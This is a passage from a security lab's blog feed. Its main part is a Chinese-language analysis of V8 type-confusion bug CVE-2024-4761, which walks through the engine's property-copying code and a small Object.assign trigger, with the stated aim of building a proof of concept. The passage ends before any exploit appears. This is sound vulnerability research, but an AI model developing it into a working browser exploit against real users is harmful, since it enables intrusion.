    <content type="html"><![CDATA[<p>    当人们谈论“手机隐私”时，往往默认指的是是否授权摄像头、麦克风、定位。但在实际的移动互联网生态中，真正决定一个用户是否“可被识别”的，不是这些高敏感权限，而是藏于设备系统、网络协议、以及广告SDK背后的那些身份锚点。<span id="more"></span><br />    Android系统看似不断提升隐私防护能力，从 Android 8 到 Android 15，多次更新都在强调限制非必要的设备信息访问、收紧权限申请流程，但依然未能解决一个核心问题：“即使你不登录、不授权、不使用账户，系统依然知道你是谁。”</p><p><a href="/trace/trace.pdf" class="post-title-link" itemprop="url">全文</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;    当人们谈论“手机隐私”时，往往默认指的是是否授权摄像头、麦克风、定位。但在实际的移动互联网生态中，真正决定一个用户是否“可被识别”的，不是这些高敏感权限，而是藏于设备系统、网络协议、以及广告SDK背后的那些身份锚点。</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>城堡的小门：v8类型混淆漏洞CVE-2024-4761分析</title>
    <link href="https://dawnslab.jd.com/CVE-2024-4761/"/>
    <id>https://dawnslab.jd.com/CVE-2024-4761/</id>
    <published>2025-03-04T10:18:56.000Z</published>
    <updated>2025-08-21T06:15:24.224Z</updated>
    
    <content type="html"><![CDATA[<p>‍</p><h2 id="1-前言"><a class="markdownIt-Anchor" href="#1-前言"></a> 1. 前言</h2><p>在讲述漏洞之前, 让我们设想这样一个场景: 你有一座设有严密防御的城堡，城墙高大坚固，把敌人挡在外面。你的城堡有唯一的入口，那就是一个重门深锁、有严格守卫检查的大门。然后，为了增加便利性，你决定在城堡的另一侧增加一个小门，方便城堡内的人快速出入。然而，你<strong>在增加这个新功能后，忘记了对这个小门进行同样严格的防御和检查</strong>。这就相当于在你的城堡的防线上留下了一个大漏洞。敌人可以绕过主门的严格检查，通过这个没有守卫的小门轻易进入城堡。</p><p>本次要讲述的漏洞CVE-2024-4761就是<strong>城堡的小门</strong>: 随着v8中wasm模块的蓬勃发展, 添加了许多新类型的对象, 这些新类型对于旧有的代码提出了源源不断的挑战, 导致旧有代码遗漏了某些检查.</p><p>本文着重于漏洞分析, 尝试从patch开始一步步构建出POC.<span id="more"></span></p><p>根据官方修复patch: <a href="https://chromium-review.googlesource.com/c/v8/v8/+/5527397">https://chromium-review.googlesource.com/c/v8/v8/+/5527397</a>, 我们可以得知: 该漏洞在<code>f320600cd1f48ba6bb57c0395823fe0c5e5ec52e</code>​这个commit中被修复, parent commit为<code>66c0bd3237b1577e6291de56003f8fddc6b65b16</code>​, 因此后续的源码分析都是基于parent commit进行的.</p><p>‍</p><h2 id="2-背景知识"><a class="markdownIt-Anchor" href="#2-背景知识"></a> 2. 背景知识</h2><p>在进入漏洞分析之前, 我们首先需要了解一下相关函数</p><p>‍</p><h3 id="21-如何触发setorcopydataproperties"><a class="markdownIt-Anchor" href="#21-如何触发setorcopydataproperties"></a> 2.1 如何触发<code>SetOrCopyDataProperties()</code>​</h3><p>漏洞被认为是一个类型混淆, 位于<code>SetOrCopyDataProperties()</code>​方法中, 因此首先研究如何触发该函数</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 该函数用于读取source拥有的所有可枚举属性, 并且把他们添加到target中</span></span><br><span class="line"><span class="comment">// 使用Set还是CreateDataProperty依赖于use_set参数.</span></span><br><span class="line"><span class="comment">// 属于excluded_properties中的值不会被复制</span></span><br><span class="line"><span class="function">V8_WARN_UNUSED_RESULT <span class="type">static</span> Maybe&lt;<span class="type">bool</span>&gt; <span class="title">SetOrCopyDataProperties</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    Isolate* isolate, Handle&lt;JSReceiver&gt; target, Handle&lt;Object&gt; source,</span></span></span><br><span class="line"><span class="params"><span class="function">    PropertiesEnumerationMode mode,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">const</span> base::ScopedVector&lt;Handle&lt;Object&gt;&gt;* excluded_properties = <span class="literal">nullptr</span>,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">bool</span> use_set = <span class="literal">true</span>)</span></span>;</span><br></pre></td></tr></table></figure><p>这个函数没有直接暴露给js态使用, 而是先被封装为Runtime方法</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">RUNTIME_FUNCTION</span>(Runtime_SetDataProperties) &#123;</span><br><span class="line">  <span class="function">HandleScope <span class="title">scope</span><span class="params">(isolate)</span></span>;</span><br><span class="line">  <span class="built_in">DCHECK_EQ</span>(<span class="number">2</span>, args.<span class="built_in">length</span>());</span><br><span class="line">  Handle&lt;JSReceiver&gt; target = args.<span class="built_in">at</span>&lt;JSReceiver&gt;(<span class="number">0</span>);</span><br><span class="line">  Handle&lt;Object&gt; source = args.<span class="built_in">at</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 2. If source is undefined or null, let keys be an empty List.</span></span><br><span class="line">  <span class="keyword">if</span> (<span class="built_in">IsUndefined</span>(*source, isolate) || <span class="built_in">IsNull</span>(*source, isolate)) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">ReadOnlyRoots</span>(isolate).<span class="built_in">undefined_value</span>();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">MAYBE_RETURN</span>(JSReceiver::<span class="built_in">SetOrCopyDataProperties</span>(</span><br><span class="line">                   isolate, target, source,</span><br><span class="line">                   PropertiesEnumerationMode::kEnumerationOrder),</span><br><span class="line">               <span class="built_in">ReadOnlyRoots</span>(isolate).<span class="built_in">exception</span>());</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">ReadOnlyRoots</span>(isolate).<span class="built_in">undefined_value</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">RUNTIME_FUNCTION</span>(Runtime_CopyDataProperties) &#123;</span><br><span class="line">  <span class="function">HandleScope <span class="title">scope</span><span class="params">(isolate)</span></span>;</span><br><span class="line">  <span class="built_in">DCHECK_EQ</span>(<span class="number">2</span>, args.<span class="built_in">length</span>());</span><br><span class="line">  Handle&lt;JSObject&gt; target = args.<span class="built_in">at</span>&lt;JSObject&gt;(<span class="number">0</span>);</span><br><span class="line">  Handle&lt;Object&gt; source = args.<span class="built_in">at</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 2. If source is undefined or null, let keys be an empty List.</span></span><br><span class="line">  <span class="keyword">if</span> (<span class="built_in">IsUndefined</span>(*source, isolate) || <span class="built_in">IsNull</span>(*source, isolate)) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">ReadOnlyRoots</span>(isolate).<span class="built_in">undefined_value</span>();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">MAYBE_RETURN</span>(</span><br><span class="line">      JSReceiver::<span class="built_in">SetOrCopyDataProperties</span>(</span><br><span class="line">          isolate, target, source,</span><br><span class="line">          PropertiesEnumerationMode::kPropertyAdditionOrder, <span class="literal">nullptr</span>, <span class="literal">false</span>),</span><br><span class="line">      <span class="built_in">ReadOnlyRoots</span>(isolate).<span class="built_in">exception</span>());</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">ReadOnlyRoots</span>(isolate).<span class="built_in">undefined_value</span>();</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Runtime方法用于涉及到对象属性复制的slow path, 比如TF定义的builtin<code>SetDataProperties</code>​就会在<code>GotoIfForceSlowPath()</code>​或者fast path无法进行时时跳转到<code>Runtime::kSetDataProperties</code>​, 进入slow path的条件</p><ol><li>​<code>!(IsEmptyFixedArray(source_elements) &amp;&amp; !IsEmptySlowElementDictionary(source_elements)</code>​: source的elements不是空数组并且也不是空的dictionary, 那么就进入runtime</li><li>​<code>IsJSReceiverInstanceType(source_instance_type)</code>​: 如果是JSReceiver的衍生对象, 但不是JSObject, 那么就进入slow path处理</li><li>​<code>IsDeprecatedMap(target_map)</code>​: target的map被弃用, 此时写入target会触发target map更新, fast path无法处理</li><li>​<code>EnsureOnlyHasSimpleProperties(source_map, type, bailout)</code>​</li><li>​<code>IsJSReceiverInstanceType(source_instance_type)</code>​</li></ol><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">TF_BUILTIN</span>(SetDataProperties, SetOrCopyDataPropertiesAssembler) &#123;</span><br><span class="line">  <span class="keyword">auto</span> target = <span class="built_in">Parameter</span>&lt;JSReceiver&gt;(Descriptor::kTarget);</span><br><span class="line">  <span class="keyword">auto</span> source = <span class="built_in">Parameter</span>&lt;Object&gt;(Descriptor::kSource);</span><br><span class="line">  <span class="keyword">auto</span> context = <span class="built_in">Parameter</span>&lt;Context&gt;(Descriptor::kContext);</span><br><span class="line"></span><br><span class="line">  <span class="function">Label <span class="title">if_runtime</span><span class="params">(<span class="keyword">this</span>, Label::kDeferred)</span></span>;</span><br><span class="line">  <span class="comment">// 强制进入slow path</span></span><br><span class="line">  <span class="built_in">GotoIfForceSlowPath</span>(&amp;if_runtime);   </span><br><span class="line">  <span class="comment">// 尝试fast path</span></span><br><span class="line">  <span class="built_in">SetOrCopyDataProperties</span>(context, target, source, &amp;if_runtime, base::<span class="literal">nullopt</span>,</span><br><span class="line">                          base::<span class="literal">nullopt</span>, <span class="literal">true</span>);</span><br><span class="line">  <span class="built_in">Return</span>(<span class="built_in">UndefinedConstant</span>());</span><br><span class="line"></span><br><span class="line">  <span class="built_in">BIND</span>(&amp;if_runtime);</span><br><span class="line">  <span class="built_in">TailCallRuntime</span>(Runtime::kSetDataProperties, context, target, source);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>一个比较简单的触发<code>SetOrCopyDataProperties</code>​的方式就是通过<code>Object.assign()</code>​</p><ul><li>​<code>Object.assign()</code>​调用<code>Builtin::kSetDataProperties</code>​</li><li>​<code>Builtin::kSetDataProperties</code>​尝试fast path失败后进入<code>Runtime::kSetDataProperties</code>​</li><li>​<code>Runtime::kSetDataProperties</code>​调用到CPP方法<code>SetOrCopyDataProperties()</code>​中</li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ES #sec-object.assign</span></span><br><span class="line"><span class="built_in">TF_BUILTIN</span>(ObjectAssign, ObjectBuiltinsAssembler) &#123;</span><br><span class="line">  TNode&lt;IntPtrT&gt; argc = <span class="built_in">ChangeInt32ToIntPtr</span>(</span><br><span class="line">      <span class="built_in">UncheckedParameter</span>&lt;Int32T&gt;(Descriptor::kJSActualArgumentsCount));</span><br><span class="line">  <span class="function">CodeStubArguments <span class="title">args</span><span class="params">(<span class="keyword">this</span>, argc)</span></span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">auto</span> context = <span class="built_in">Parameter</span>&lt;Context&gt;(Descriptor::kContext);</span><br><span class="line">  TNode&lt;Object&gt; target = args.<span class="built_in">GetOptionalArgumentValue</span>(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 被写入的对象</span></span><br><span class="line">  TNode&lt;JSReceiver&gt; to = <span class="built_in">ToObject_Inline</span>(context, target);</span><br><span class="line"></span><br><span class="line">  <span class="function">Label <span class="title">done</span><span class="params">(<span class="keyword">this</span>)</span></span>;</span><br><span class="line">  <span class="comment">// 只有一个参数, 直接返回</span></span><br><span class="line">  <span class="built_in">GotoIf</span>(<span class="built_in">UintPtrLessThanOrEqual</span>(args.<span class="built_in">GetLengthWithoutReceiver</span>(),</span><br><span class="line">                                <span class="built_in">IntPtrConstant</span>(<span class="number">1</span>)),</span><br><span class="line">         &amp;done);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 遍历assign()后续所有的参数, 对于每一个参数都调用Builtin::kSetDataProperties</span></span><br><span class="line">  args.<span class="built_in">ForEach</span>(</span><br><span class="line">      [=](TNode&lt;Object&gt; next_source) &#123;</span><br><span class="line">        <span class="built_in">CallBuiltin</span>(Builtin::kSetDataProperties, context, to, next_source);</span><br><span class="line">      &#125;,</span><br><span class="line">      <span class="built_in">IntPtrConstant</span>(<span class="number">1</span>));</span><br><span class="line">  <span class="built_in">Goto</span>(&amp;done);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 5. Return to.</span></span><br><span class="line">  <span class="built_in">BIND</span>(&amp;done);</span><br><span class="line">  args.<span class="built_in">PopAndReturn</span>(to);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>触发slow path进入<code>SetOrCopyDataProperties()</code>​的例子如下</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// job(from)-&gt;elements非空, 进入`SetOrCopyDataProperties()`</span></span><br><span class="line"><span class="keyword">let</span> <span class="keyword">from</span> = &#123;&#125;;</span><br><span class="line"><span class="keyword">from</span>[<span class="number">0</span>]=<span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> target = &#123;&#125;;</span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">assign</span>(target, <span class="keyword">from</span>);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure><p>‍</p><h3 id="22-setorcopydataproperties的作用"><a class="markdownIt-Anchor" href="#22-setorcopydataproperties的作用"></a> 2.2 <code>SetOrCopyDataProperties()</code>​的作用</h3><p>下面分析一下<code>SetOrCopyDataProperties()</code>​的具体行为, 研究下具体是那部分出错了</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// static</span></span><br><span class="line"><span class="function">Maybe&lt;<span class="type">bool</span>&gt; <span class="title">JSReceiver::SetOrCopyDataProperties</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    Isolate* isolate, Handle&lt;JSReceiver&gt; target, Handle&lt;Object&gt; source,</span></span></span><br><span class="line"><span class="params"><span class="function">    PropertiesEnumerationMode mode,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">const</span> base::ScopedVector&lt;Handle&lt;Object&gt;&gt;* excluded_properties,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">bool</span> use_set)</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 首先尝试cpp部分的fast赋值</span></span><br><span class="line">  Maybe&lt;<span class="type">bool</span>&gt; fast_assign =</span><br><span class="line">      <span class="built_in">FastAssign</span>(isolate, target, source, mode, excluded_properties, use_set);</span><br><span class="line">  <span class="keyword">if</span> (fast_assign.<span class="built_in">IsNothing</span>()) <span class="keyword">return</span> <span class="built_in">Nothing</span>&lt;<span class="type">bool</span>&gt;();</span><br><span class="line">  <span class="keyword">if</span> (fast_assign.<span class="built_in">FromJust</span>()) <span class="keyword">return</span> <span class="built_in">Just</span>(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 获取要遍历属性的对象</span></span><br><span class="line">  Handle&lt;JSReceiver&gt; from = Object::<span class="built_in">ToObject</span>(isolate, source).<span class="built_in">ToHandleChecked</span>();</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 获取from中所有属性的key(相当于elements和properties一起处理了)</span></span><br><span class="line">  Handle&lt;FixedArray&gt; keys;</span><br><span class="line">  <span class="built_in">ASSIGN_RETURN_ON_EXCEPTION_VALUE</span>(</span><br><span class="line">      isolate, keys,</span><br><span class="line">      KeyAccumulator::<span class="built_in">GetKeys</span>(isolate, from, KeyCollectionMode::kOwnOnly,</span><br><span class="line">                              ALL_PROPERTIES, GetKeysConversion::kKeepNumbers),</span><br><span class="line">      <span class="built_in">Nothing</span>&lt;<span class="type">bool</span>&gt;());</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象</span></span><br><span class="line">  <span class="keyword">if</span> (!from-&gt;<span class="built_in">HasFastProperties</span>() &amp;&amp; target-&gt;<span class="built_in">HasFastProperties</span>() &amp;&amp;</span><br><span class="line">      !<span class="built_in">IsJSGlobalProxy</span>(*target)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> source_length;    <span class="comment">// source中属性的个数</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">IsJSGlobalObject</span>(*from)) &#123;    <span class="comment">// from是全局对象</span></span><br><span class="line">      source_length = JSGlobalObject::<span class="built_in">cast</span>(*from)</span><br><span class="line">                          -&gt;<span class="built_in">global_dictionary</span>(kAcquireLoad)</span><br><span class="line">                          -&gt;<span class="built_in">NumberOfEnumerableProperties</span>();</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> <span class="built_in">constexpr</span> (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) &#123;</span><br><span class="line">      source_length =</span><br><span class="line">          from-&gt;<span class="built_in">property_dictionary_swiss</span>()-&gt;<span class="built_in">NumberOfEnumerableProperties</span>();</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;    <span class="comment">// from中是字典属性, 计算属性个数</span></span><br><span class="line">      source_length =</span><br><span class="line">          from-&gt;<span class="built_in">property_dictionary</span>()-&gt;<span class="built_in">NumberOfEnumerableProperties</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制</span></span><br><span class="line">    <span class="comment">// 那么就把target中的fast properties都转换为dictionary properties</span></span><br><span class="line">    <span class="comment">// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来</span></span><br><span class="line">    <span class="keyword">if</span> (source_length &gt; kMaxNumberOfDescriptors) &#123;</span><br><span class="line">      JSObject::<span class="built_in">NormalizeProperties</span>(isolate, Handle&lt;JSObject&gt;::<span class="built_in">cast</span>(target),</span><br><span class="line">                                    CLEAR_INOBJECT_PROPERTIES, source_length,</span><br><span class="line">                                    <span class="string">&quot;Copying data properties&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 遍历所有的属性</span></span><br><span class="line">  <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; keys-&gt;<span class="built_in">length</span>(); ++i) &#123;</span><br><span class="line">    <span class="comment">// 获取第i个属性的key对象 (属性的key也是一个js对象)</span></span><br><span class="line">    <span class="function">Handle&lt;Object&gt; <span class="title">next_key</span><span class="params">(keys-&gt;get(i), isolate)</span></span>;</span><br><span class="line">    <span class="keyword">if</span> (excluded_properties != <span class="literal">nullptr</span> &amp;&amp;</span><br><span class="line">        <span class="built_in">HasExcludedProperty</span>(excluded_properties, next_key)) &#123;</span><br><span class="line">      <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 4a i. Let desc be ? from.[[GetOwnProperty]](nextKey).</span></span><br><span class="line">    <span class="comment">// 获取该key的属性描述符</span></span><br><span class="line">    PropertyDescriptor desc;</span><br><span class="line">    Maybe&lt;<span class="type">bool</span>&gt; found =</span><br><span class="line">        JSReceiver::<span class="built_in">GetOwnPropertyDescriptor</span>(isolate, from, next_key, &amp;desc);</span><br><span class="line">    <span class="keyword">if</span> (found.<span class="built_in">IsNothing</span>()) <span class="keyword">return</span> <span class="built_in">Nothing</span>&lt;<span class="type">bool</span>&gt;();</span><br><span class="line">    <span class="comment">// 4a ii. If desc is not undefined and desc.[[Enumerable]] is true, then</span></span><br><span class="line">    <span class="comment">// 改属性为可枚举属性</span></span><br><span class="line">    <span class="keyword">if</span> (found.<span class="built_in">FromJust</span>() &amp;&amp; desc.<span class="built_in">enumerable</span>()) &#123;</span><br><span class="line">      <span class="comment">// 获取该属性的value对象</span></span><br><span class="line">      Handle&lt;Object&gt; prop_value;</span><br><span class="line">      <span class="built_in">ASSIGN_RETURN_ON_EXCEPTION_VALUE</span>(</span><br><span class="line">          isolate, prop_value,</span><br><span class="line">          Runtime::<span class="built_in">GetObjectProperty</span>(isolate, from, next_key), <span class="built_in">Nothing</span>&lt;<span class="type">bool</span>&gt;());</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 把属性写入target中</span></span><br><span class="line">      <span class="keyword">if</span> (use_set) &#123;</span><br><span class="line">        <span class="comment">// 4c ii 2. Let status be ? Set(to, nextKey, propValue, true).</span></span><br><span class="line">        Handle&lt;Object&gt; status;</span><br><span class="line">        <span class="built_in">ASSIGN_RETURN_ON_EXCEPTION_VALUE</span>(</span><br><span class="line">            isolate, status,</span><br><span class="line">            Runtime::<span class="built_in">SetObjectProperty</span>(isolate, target, next_key, prop_value,</span><br><span class="line">                                       StoreOrigin::kMaybeKeyed,</span><br><span class="line">                                       <span class="built_in">Just</span>(ShouldThrow::kThrowOnError)),</span><br><span class="line">            <span class="built_in">Nothing</span>&lt;<span class="type">bool</span>&gt;());</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 4a ii 2. Perform ! CreateDataProperty(target, nextKey, propValue).</span></span><br><span class="line">        PropertyKey <span class="built_in">key</span>(isolate, next_key);</span><br><span class="line">        <span class="built_in">CHECK</span>(JSReceiver::<span class="built_in">CreateDataProperty</span>(isolate, target, key, prop_value,</span><br><span class="line">                                             <span class="built_in">Just</span>(kThrowOnError))</span><br><span class="line">                  .<span class="built_in">FromJust</span>());</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">Just</span>(<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>总结一下操作逻辑</p><ul><li>首先调用<code>FastAssign()</code>​尝试fast path处理, 失败后进入后续部分</li><li>调用<code>KeyAccumulator::GetKeys(from)</code>​获取<code>from</code>​中的所有属性, 这里就elements和properties一起处理了</li><li>清理fast properties: 如果from没有fast properties, 但是target有fast properties, 那么就会调用<code>NormalizeProperties(target)</code>​把target中的fast properties转换为字典实现</li><li>后续遍历from中所有的属性, 写入<code>target</code>​中</li></ul><p>​<code>FastAssign()</code>​的退出条件如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">V8_WARN_UNUSED_RESULT Maybe&lt;<span class="type">bool</span>&gt; <span class="title">FastAssign</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    Isolate* isolate, Handle&lt;JSReceiver&gt; target, Handle&lt;Object&gt; source,</span></span></span><br><span class="line"><span class="params"><span class="function">    PropertiesEnumerationMode mode,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">const</span> base::ScopedVector&lt;Handle&lt;Object&gt;&gt;* excluded_properties,</span></span></span><br><span class="line"><span class="params"><span class="function">    <span class="type">bool</span> use_set)</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 非空字符串被认为是non-JSReceiver, 需要在Object.assign()中显示处理</span></span><br><span class="line">  <span class="keyword">if</span> (!<span class="built_in">IsJSReceiver</span>(*source)) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">Just</span>(!<span class="built_in">IsString</span>(*source) || String::<span class="built_in">cast</span>(*source)-&gt;<span class="built_in">length</span>() == <span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">  <span class="function">Handle&lt;Map&gt; <span class="title">map</span><span class="params">(JSReceiver::cast(*source)-&gt;map(), isolate)</span></span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// fast path只能处理source为JSObject的情况</span></span><br><span class="line">  <span class="keyword">if</span> (!<span class="built_in">IsJSObjectMap</span>(*map)) <span class="keyword">return</span> <span class="built_in">Just</span>(<span class="literal">false</span>);</span><br><span class="line">  <span class="comment">// fast path只能处理source为simple properties的情况(非dictionary properties)</span></span><br><span class="line">  <span class="keyword">if</span> (!map-&gt;<span class="built_in">OnlyHasSimpleProperties</span>()) <span class="keyword">return</span> <span class="built_in">Just</span>(<span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 只能处理source的elements为empty fixed array的情况</span></span><br><span class="line">  Handle&lt;JSObject&gt; from = Handle&lt;JSObject&gt;::<span class="built_in">cast</span>(source);</span><br><span class="line">  <span class="keyword">if</span> (from-&gt;<span class="built_in">elements</span>() != <span class="built_in">ReadOnlyRoots</span>(isolate).<span class="built_in">empty_fixed_array</span>()) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">Just</span>(<span class="literal">false</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 至此: 只需要遍历from的properties array</span></span><br><span class="line">  <span class="function">Handle&lt;DescriptorArray&gt; <span class="title">descriptors</span><span 